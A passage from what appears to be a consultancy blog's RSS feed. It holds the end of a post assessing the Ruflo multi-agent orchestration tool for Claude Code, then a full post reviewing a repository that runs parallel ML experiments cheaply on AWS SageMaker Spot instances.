</span></span><span style="display:flex;"><span>npx claude-flow@latest federation init
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Join another team&#39;s federation endpoint</span>
</span></span><span style="display:flex;"><span>npx claude-flow@latest federation join wss://team-b.example.com:8443
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Send a message with PII automatically stripped</span>
</span></span><span style="display:flex;"><span>npx claude-flow@latest federation send --to team-b --type task-request <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  --message <span style="color:#e6db74">&#34;Analyze transaction patterns for account anomalies&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Check peer trust ratings and session health</span>
</span></span><span style="display:flex;"><span>npx claude-flow@latest federation status
</span></span></code></pre></div><p>That said, this area especially needs verification. A security model on paper and operational security in practice are different things. To use it in a regulated industry, you have to separately test network boundaries, log retention, key management, PII removal accuracy, and the failure scenarios for prompt injection blocking.</p>
<h2 id="how-to-choose-among-32-plugins">How to Choose Among 32 Plugins</h2>
<p>The breadth of Ruflo&rsquo;s plugin list is daunting at first glance, so it helps to reduce it to categories.</p>
<table>
  <thead>
      <tr>
          <th>Category</th>
          <th>Representative plugins</th>
          <th>In one line</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Core/Orchestration</td>
          <td><code>ruflo-core</code>, <code>ruflo-swarm</code>, <code>ruflo-federation</code></td>
          <td>Foundation, multi-agent coordination, cross-machine collaboration</td>
      </tr>
      <tr>
          <td>Memory/Knowledge</td>
          <td><code>ruflo-agentdb</code>, <code>ruflo-rag-memory</code>, <code>ruflo-knowledge-graph</code></td>
          <td>Vector DB, hybrid search, entity graph</td>
      </tr>
      <tr>
          <td>Intelligence</td>
          <td><code>ruflo-intelligence</code>, <code>ruflo-ruvllm</code>, <code>ruflo-goals</code></td>
          <td>Learning, local LLM routing, goal decomposition</td>
      </tr>
      <tr>
          <td>Code Quality</td>
          <td><code>ruflo-testgen</code>, <code>ruflo-browser</code>, <code>ruflo-jujutsu</code>, <code>ruflo-docs</code></td>
          <td>Test generation, Playwright, risk scoring</td>
      </tr>
      <tr>
          <td>Security</td>
          <td><code>ruflo-security-audit</code>, <code>ruflo-aidefence</code></td>
          <td>CVE scanning, prompt injection blocking, PII detection</td>
      </tr>
      <tr>
          <td>Architecture</td>
          <td><code>ruflo-adr</code>, <code>ruflo-ddd</code>, <code>ruflo-sparc</code></td>
          <td>ADR, DDD, five-stage methodology</td>
      </tr>
      <tr>
          <td>DevOps</td>
          <td><code>ruflo-migrations</code>, <code>ruflo-observability</code>, <code>ruflo-cost-tracker</code></td>
          <td>Schema changes, logging/tracing, token budgets</td>
      </tr>
      <tr>
          <td>Extensibility</td>
          <td><code>ruflo-wasm</code>, <code>ruflo-plugin-creator</code></td>
          <td>WASM sandbox, plugin scaffolding</td>
      </tr>
      <tr>
          <td>Domain-Specific</td>
          <td><code>ruflo-iot-cognitum</code>, <code>ruflo-neural-trader</code></td>
          <td>IoT fleets, AI trading</td>
      </tr>
  </tbody>
</table>
<p>If it were our team, here is how we would pick the starting combinations.</p>
<table>
  <thead>
      <tr>
          <th>Scenario</th>
          <th>Recommended plugin combination</th>
          <th>Why</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Personal learning / side project</td>
          <td><code>core</code> + <code>swarm</code> + <code>cost-tracker</code></td>
          <td>Experience the core value with the smallest surface area, make token costs visible</td>
      </tr>
      <tr>
          <td>Two-week team PoC</td>
          <td>+ <code>rag-memory</code> + <code>testgen</code> + <code>observability</code></td>
          <td>Reuse internal docs and task insights on the next task while measuring ROI</td>
      </tr>
      <tr>
          <td>Multi-site / multi-client</td>
          <td>+ <code>federation</code> + <code>aidefence</code> + <code>security-audit</code></td>
          <td>Share patterns across projects while keeping data bulkheads intact</td>
      </tr>
  </tbody>
</table>
<p>Turning on all 32 from the start is not a good strategy. 314 MCP tools also means 314 units of operational surface area. It is better to enable only the 5 to 10 you will actually use and start with the rest disabled.</p>
<h2 id="three-practical-adoption-scenarios">Three Practical Adoption Scenarios</h2>
<p>The first is the individual developer&rsquo;s learning scenario. If you already use Claude Code, have a lot of repetitive work, and work in the same repository across several days, Ruflo&rsquo;s memory and swarm coordination are easy to feel. At this stage, validating usability matters more than security. Start with roughly <code>core</code>, <code>swarm</code>, and <code>cost-tracker</code> and watch for two things: &ldquo;has the time I spent splitting up work myself gone down?&rdquo; and &ldquo;do judgments from past work actually carry into the next task?&rdquo;</p>
<p>The second is a team PoC. Set a period of about two weeks and pick concrete workflows — test generation, document search, PR risk analysis — targeting one existing repository, or two repositories of similar character. What you measure here is not star counts or plugin counts but task turnaround time, failure rate, retry counts, token cost, and the quality of the output a human has to review. One more thing needs to be added: check whether review criteria or test patterns obtained on the first project get reused on the second. <code>rag-memory</code>, <code>testgen</code>, and <code>observability</code> fit this stage.</p>
<p>The third is an enterprise or multi-client environment. Here the concern is control rather than productivity. You have to decide up front what data moves between agents, where PII removal happens, where failure logs land, and who approves version upgrades. At the same time you have to define the scope of insight reuse. You need boundaries such as: never share a given client&rsquo;s code or data, but do share abstracted patterns like incident response procedures, security review criteria, and migration verification sequences. Rather than adopting Ruflo wholesale, it is more realistic to validate <code>federation</code> and <code>agentdb</code> within a narrow scope.</p>
<h2 id="pre-adoption-checklist">Pre-Adoption Checklist</h2>
<p>First, separate out the unverified quantitative claims. Ruflo&rsquo;s documentation cites HNSW search speed, routing accuracy, and performance improvement figures. Some release notes even mention that past exaggerated metrics were cleaned up.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> These numbers are interesting, but they should not be used as a basis for decisions until you have re-measured them on your own repository and your own data.</p>
<p>Second, treat the release cadence as a risk. Even on May 4, 2026, release v3.6.27 went up.<sup id="fnref1:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> That means it is an active project, but in a production environment the rate of change is itself a risk. Lockfiles, version pins, and rollback procedures need to be in place from the PoC onward.</p>
<p>Third, draw the line of responsibility against Anthropic&rsquo;s official features. Skills, Subagents, and Plugins are concepts of the official Claude Code ecosystem. Ruflo is an external layer that sits on top. The better learning order is to master the official features first and then attach Ruflo.</p>
<p>Fourth, do not take the Rust/WASM emphasis at face value. Per GitHub&rsquo;s language statistics, Rust is shown at 0.3%.<sup id="fnref4:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Whatever policy engine or WASM kernel exists, most of the actual codebase is TypeScript, JavaScript, and Python. That is not a bad thing in itself. It just means you should avoid simplistic conclusions like &ldquo;it is Rust-based, so it is safe.&rdquo;</p>
<h2 id="conclusion">Conclusion</h2>
<p>Ruflo is the candidate that most aggressively shows where Claude Code goes next. A hundred agents, consensus algorithms, and Zero-Trust federation attempt answers in territory a single coding assistant struggles to reach. More precisely, Ruflo&rsquo;s question does not stop at &ldquo;can we finish one project faster?&rdquo; It goes all the way to &ldquo;can we make the insights earned by multiple projects and multiple developers the default for the next task?&rdquo; But a tool&rsquo;s ambition and its operational stability are separate matters.</p>
<p>For personal learning and team PoCs, it is worth starting now. For enterprise adoption, the safe path is to follow the changelog for at least a quarter, measure the stability of the core plugins yourself, and then begin with partial adoption limited to the two axes of <code>federation</code> and <code>agentdb</code>. Peel back a layer of marketing copy and Ruflo&rsquo;s real value is not &ldquo;314 tools&rdquo; but &ldquo;a protocol that lets an agent work safely with an agent on another machine.&rdquo;</p>
<p>ROBOCO supports adoption assessments and PoCs for agent orchestration tools including Ruflo. If <strong>how to embed it into operations</strong> is the harder problem than which tool to choose, feel free to reach out. → <a href="/en/contact/">Contact ROBOCO consulting</a></p>
<hr>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://github.com/ruvnet/ruflo">ruvnet/ruflo GitHub repository</a>. Checked May 4, 2026. The GitHub page shows 39.4k stars, 4.5k forks, MIT license, 32 plugins, 314 MCP tools, and Rust at 0.3%.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/ruvnet/ruflo/releases/tag/v3.6.27">Ruflo v3.6.27 release</a>. Confirmed as the latest release, published May 4, 2026.&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://github.com/ruvnet/ruflo/releases">Ruflo v3.6.10 release notes</a>. The release notes include items related to a README honesty audit and the cleanup of exaggerated metrics.&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>Serverless Autoresearch: A Record of Making an ML Experiment Pipeline Serverless Through Vibe Coding</title>
            <link>https://roboco.io/en/posts/serverless-autoresearch-vibe-coding/</link>
            <pubDate>Sun, 29 Mar 2026 16:00:00 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/serverless-autoresearch-vibe-coding/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;The real value of vibe coding is not only in writing code fast. It is in designing a way of operating that lets you repeat expensive experiments more cheaply and more quickly.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Most people first associate vibe coding with web app prototyping or CRUD automation. But ROBOCO&amp;rsquo;s &lt;a href=&#34;https://github.com/roboco-io/serverless-autoresearch&#34;&gt;&lt;code&gt;serverless-autoresearch&lt;/code&gt;&lt;/a&gt; repository widens that frame considerably. Instead of the &amp;ldquo;tie up a single H100 for several hours&amp;rdquo; approach that Andrej Karpathy&amp;rsquo;s &lt;code&gt;autoresearch&lt;/code&gt; presupposes, this project builds a structure that runs parallel experiments in short, explosive bursts on AWS SageMaker Spot.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>The real value of vibe coding is not only in writing code fast. It is in designing a way of operating that lets you repeat expensive experiments more cheaply and more quickly.</p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>Most people first associate vibe coding with web app prototyping or CRUD automation. But ROBOCO&rsquo;s <a href="https://github.com/roboco-io/serverless-autoresearch"><code>serverless-autoresearch</code></a> repository widens that frame considerably. Instead of the &ldquo;tie up a single H100 for several hours&rdquo; approach that Andrej Karpathy&rsquo;s <code>autoresearch</code> presupposes, this project builds a structure that runs parallel experiments in short, explosive bursts on AWS SageMaker Spot.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>What makes this case interesting is not that the results simply came out cheap. The repository preserves all of it: <strong>the deep interview that sharpened the initial idea</strong>, <strong>plan-driven architecture design</strong>, <strong>cloud infrastructure debugging</strong>, <strong>automation of repeated experiments</strong>, and <strong>the process of converting failures back into documents and skills</strong>. In particular, <code>docs/vibe-coding-tutorial</code> is less a code manual than a log showing how conversational AI coding actually hardens into engineering artifacts.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>The numbers are worth sorting out first. The tutorial, centered on the initial run window of March 27-28, 2026, records <strong>25 experiments, $0.44 in total cost, and a best <code>val_bpb</code> of 1.0643</strong>.<sup id="fnref1:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup><sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> The repository README, on the other hand, presents an expanded picture: running <strong>83 experiments in about 3.5 hours for roughly $1.33</strong>, emphasizing a structure that is <strong>2.3x faster and 5-18x cheaper</strong> than the original sequential execution.<sup id="fnref1:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> In other words, &ldquo;$0.44&rdquo; is the cost of the initial validation and &ldquo;$1.33&rdquo; is the cost of the expanded operating model. The two figures do not conflict; they are results from different stages.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li><code>serverless-autoresearch</code> is a case of extending vibe coding beyond web app automation into the problem of ML experiment pipelines and cloud operations design.</li>
<li>The core is replacing long-held occupancy of an H100 with SageMaker Spot-based parallel experiments, making cheap failure and fast learning possible.</li>
<li>Good results come less from volume of generated code than from an operating approach: problem definition, planning, infrastructure validation, and converting failures into documents and skills.</li>
</ul>
<h2 id="1-what-this-project-actually-changed">1. What This Project Actually Changed</h2>
<p>Karpathy&rsquo;s original <code>autoresearch</code> runs one experiment at a time and, fundamentally, follows a flow that occupies a high-performance GPU such as an H100 for long stretches. <code>serverless-autoresearch</code> changed that flow into <strong>parallel evolution</strong>.<sup id="fnref2:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></p>
<p>There are two key points.</p>
<ul>
<li>Instead of holding a single experiment for a long time, run many candidates simultaneously and briefly.</li>
<li>Instead of keeping a GPU on 24 hours a day, spin up Spot instances only when needed and shut them down as soon as they finish.</li>
</ul>
<p>The repository calls this the <strong>HUGI (Hurry Up and Get Idle)</strong> pattern.<sup id="fnref3:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Rather than keeping a server alive for a long time, it computes in a short burst and returns immediately to idle. This simple shift completely changes the cost structure. It shows that &ldquo;serverless&rdquo; does not just mean function invocation — it is an operating philosophy applicable to GPU workloads as well.</p>
<p>By the tutorial&rsquo;s account, the actual validation is fairly concrete.</p>
<table>
  <thead>
      <tr>
          <th>Segment</th>
          <th>Content</th>
          <th>Cost</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>First successful experiment</td>
          <td>First end-to-end success on L40S Spot</td>
          <td>$0.06</td>
      </tr>
      <tr>
          <td>Batch size trap validation</td>
          <td>Eliminated a wrong hypothesis with 4 parallel experiments</td>
          <td>$0.07</td>
      </tr>
      <tr>
          <td>5 generations of autonomous evolution</td>
          <td>Searched for optimal parameters over 20 experiments</td>
          <td>$0.31</td>
      </tr>
      <tr>
          <td>Total</td>
          <td>25 experiments</td>
          <td><strong>$0.44</strong></td>
      </tr>
  </tbody>
</table>
<p>The point of this project, then, is not &ldquo;it runs even on cheap GPUs&rdquo; but that <strong>you can buy a lot of cheap failure</strong>.<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup><sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup><sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup><sup id="fnref1:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<h2 id="2-the-real-point-the-tutorial-makes">2. The Real Point the Tutorial Makes</h2>
<h3 id="21-vague-requests-have-to-be-narrowed-through-a-deep-interview">2.1 Vague requests have to be narrowed through a deep interview</h3>
<p>The first scene of the tutorial is not code but questions. The user pairs a request to &ldquo;reproduce the autoresearch experiment&rdquo; with an instruction to conduct a deep interview if needed.<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup> As a result, the goal is redefined from simple reproduction into these three things:</p>
<ul>
<li>Serverless execution based on SageMaker Managed Spot Training</li>
<li>OMC-based autonomous iterative experimentation</li>
<li>Documentation reusable for teaching and demo purposes</li>
</ul>
<p>This looks small but it is a very important shift. A vague &ldquo;reproduction&rdquo; often ends up merely imitating the original. After an interview, by contrast, &ldquo;what will we learn,&rdquo; &ldquo;what will we automate,&rdquo; and &ldquo;what will we leave behind&rdquo; become clear. It shows that vibe coding is less the skill of writing long prompts than <strong>the interviewing skill of drawing out a good problem definition</strong>.</p>
<h3 id="22-plan-mode-has-to-come-before-implementation">2.2 Plan mode has to come before implementation</h3>
<p>In the second chapter, the AI does not write code right away. It first explores the upstream <code>autoresearch</code> codebase and the user&rsquo;s existing SageMaker patterns, then plans a pipeline structure divided into a candidate generator, a batch launcher, a results collector, and a selection module.<sup id="fnref1:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></p>
<p>Partway through, when the user adds the condition to &ldquo;make aggressive use of parallel execution and HUGI, the advantages of the cloud,&rdquo; the design changes from sequential execution to a <strong>population-based parallel evolution</strong> structure.<sup id="fnref2:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> This passage shows well that vibe coding is not &ldquo;code the AI wrote on its own&rdquo; — its usefulness grows only <strong>when you can revise the architecture at the planning stage</strong>.</p>
<p>The tutorial in fact records that 23 files were created in this session and that the entire path was validated with <code>make dry-run</code>.<sup id="fnref3:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> What matters more than the speed of generation is that the structure was agreed on before generation.</p>
<h3 id="23-infrastructure-problems-are-not-peripheral-issues-but-core-design-variables">2.3 Infrastructure problems are not peripheral issues but core design variables</h3>
<p>The third chapter is the highlight of this project. The code is ready, but the AWS infrastructure trips it up. The GPU Spot quota defaults to 0, and Spot availability differs enormously by region.<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup><sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup></p>
<p>The most practical lesson in the tutorial is <code>aws ec2 get-spot-placement-scores</code>. The same <code>g7e</code>-family instance scores 1-2 in <code>us-west-2</code> and is nearly impossible to obtain, while in <code>us-east-1</code> it scores 9 and is allocated quickly.<sup id="fnref1:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup><sup id="fnref1:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup> Many teams waste time here, because they treat infrastructure problems as &ldquo;something to solve once the code is done.&rdquo; This repository says the opposite. <strong>Which region you use, which instance you use, and how quickly your quota gets approved are themselves part of pipeline design.</strong></p>
<p>Another passage that stands out is the difference in approval by GPU type. <code>g7e</code> is approved relatively quickly, but <code>p5</code> and <code>p6</code> can take days of manual review.<sup id="fnref2:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup><sup id="fnref2:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup> This kind of knowledge never shows up inside the code. That is why documentation and operational memory matter more.</p>
<h3 id="24-cheap-experiments-deliver-cheap-lessons-quickly">2.4 Cheap experiments deliver cheap lessons quickly</h3>
<p>The fourth and fifth chapters show what &ldquo;cheap experiments&rdquo; really means. In the first successful experiment, the L40S did not properly support Flash Attention 3 and threw a runtime CUDA error, which ultimately led to logic that explicitly checks GPU capability and falls back to PyTorch SDPA.<sup id="fnref1:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> The fix got the first successful experiment running, but MFU stayed at about 20.5%, roughly half of what an H100 achieves.<sup id="fnref2:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<p>It does not end there. In the next experiment, there was VRAM to spare, so raising <code>DEVICE_BATCH_SIZE</code> seemed like it should help — but the result got worse instead. The reason is that the total token count did not increase while gradient accumulation simply decreased.<sup id="fnref1:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup><sup id="fnref3:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup> This is a point many ML teams genuinely get confused about. Using more GPU memory does not mean more training happened.</p>
<p>This project validates such misconceptions cheaply. Repeating the same mistake in a big-budget H100 experiment would have cost far more.</p>
<h3 id="25-autonomous-experimentation-paid-off-through-small-adjustments-rather-than-bold-changes">2.5 Autonomous experimentation paid off through &ldquo;small adjustments&rdquo; rather than &ldquo;bold changes&rdquo;</h3>
<p>The most interesting result of the autonomous evolution stage is not a flashy architectural change but the fact that <strong>conservative learning rate adjustments worked best</strong>. Small changes to <code>EMBEDDING_LR</code> and <code>SCALAR_LR</code> led to improvements, while medium-scale or larger interventions — increasing <code>DEPTH</code>, expanding <code>TOTAL_BATCH_SIZE</code>, changing <code>WINDOW_PATTERN</code> — mostly made things worse or ended in timeouts.<sup id="fnref1:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup><sup id="fnref2:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<p>This pattern matters more than it might seem. On a short five-minute training budget, complex structural changes never get the time to converge. So an AI agent in this environment is stronger as &ldquo;an operator who doggedly tunes small numbers&rdquo; than as &ldquo;a bold inventor.&rdquo; It means vibe coding does not always produce creative leaps — it is strong at <strong>rapidly accumulating small improvements inside a short feedback loop</strong>.</p>
<h2 id="3-the-way-it-converts-failure-into-skills-is-especially-good">3. The Way It Converts Failure into Skills Is Especially Good</h2>
<p>What makes this repository especially good from ROBOCO&rsquo;s perspective is how it handles the final step. Rather than stopping at summarizing results once the experiments end, it organizes 12 insights in <code>docs/insights.md</code> and then connects those to reusable skills for Claude Code.<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup><sup id="fnref4:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup></p>
<p>What is captured there is not simple notes.</p>
<ul>
<li>Spot scores differ enormously by region.</li>
<li>Smaller instances are not always cheaper.</li>
<li><code>DEVICE_BATCH_SIZE</code> is closer to VRAM usage than to throughput.</li>
<li>Cheap Spot GPUs work well enough as a proxy for validating hypotheses before expensive H100 training.</li>
</ul>
<p>This form of consolidation is what separates levels of maturity in vibe coding. Many teams forget what they learned once the session with the AI ends. Teams that do it well turn failures into documents and turn documents back into skills and rules. Then the quality of the next session goes up. The source of productivity becomes not the model itself but <strong>accumulated operational knowledge</strong>.</p>
<h2 id="4-what-roboco-takes-away-from-this">4. What ROBOCO Takes Away From This</h2>
<p><code>serverless-autoresearch</code> shows that vibe coding can go beyond toy-level app building to handle ML experiment pipelines and cloud operations design. And success or failure depends less on volume of generated code than on these four things:</p>
<ul>
<li>How well you interview the initial request to narrow the problem</li>
<li>How clearly you agree on the architecture before implementation</li>
<li>How quickly you validate the infrastructure and cost structure</li>
<li>How quickly you convert failures into documents and skills</li>
</ul>
<p>In the end, this project&rsquo;s core message is simple. Vibe coding does not replace engineering. Instead it moves the center of engineering from <strong>typing directly</strong> to <strong>asking questions, designing, experimenting, and accumulating lessons</strong>. <code>serverless-autoresearch</code> is a case that shows well what that shift actually looks like.</p>
<p>Read the original repository and the tutorial together and you will see something far more interesting than &ldquo;the AI wrote the code.&rdquo; What remains is <strong>the process of designing the experiment system itself together with an AI</strong>.<sup id="fnref4:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup><sup id="fnref2:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<hr>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Serverless Autoresearch README: <a href="https://github.com/roboco-io/serverless-autoresearch/blob/main/README.md">https://github.com/roboco-io/serverless-autoresearch/blob/main/README.md</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Vibe Coding Tutorial README: <a href="https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/README.md">https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/README.md</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>Chapter 8, &ldquo;Results &amp; Comparison&rdquo;: <a href="https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/08-results-and-comparison.md">https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/08-results-and-comparison.md</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Chapter 2, &ldquo;Building the Pipeline&rdquo;: <a href="https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/02-building-the-pipeline.md">https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/02-building-the-pipeline.md</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>Chapter 4, &ldquo;First Experiment&rdquo;: <a href="https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/04-first-experiment.md">https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/04-first-experiment.md</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>Chapter 5, &ldquo;The Batch Size Trap&rdquo;: <a href="https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/05-the-batch-size-trap.md">https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/05-the-batch-size-trap.md</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>Chapter 6, &ldquo;Autonomous Evolution&rdquo;: <a href="https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/06-autonomous-evolution.md">https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/06-autonomous-evolution.md</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>Chapter 1, &ldquo;The Idea&rdquo;: <a href="https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/01-the-idea.md">https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/01-the-idea.md</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p>Chapter 3, &ldquo;Infrastructure Adventures&rdquo;: <a href="https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/03-infrastructure-adventures.md">https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/03-infrastructure-adventures.md</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p>Key Insights: <a href="https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/insights.md">https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/insights.md</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
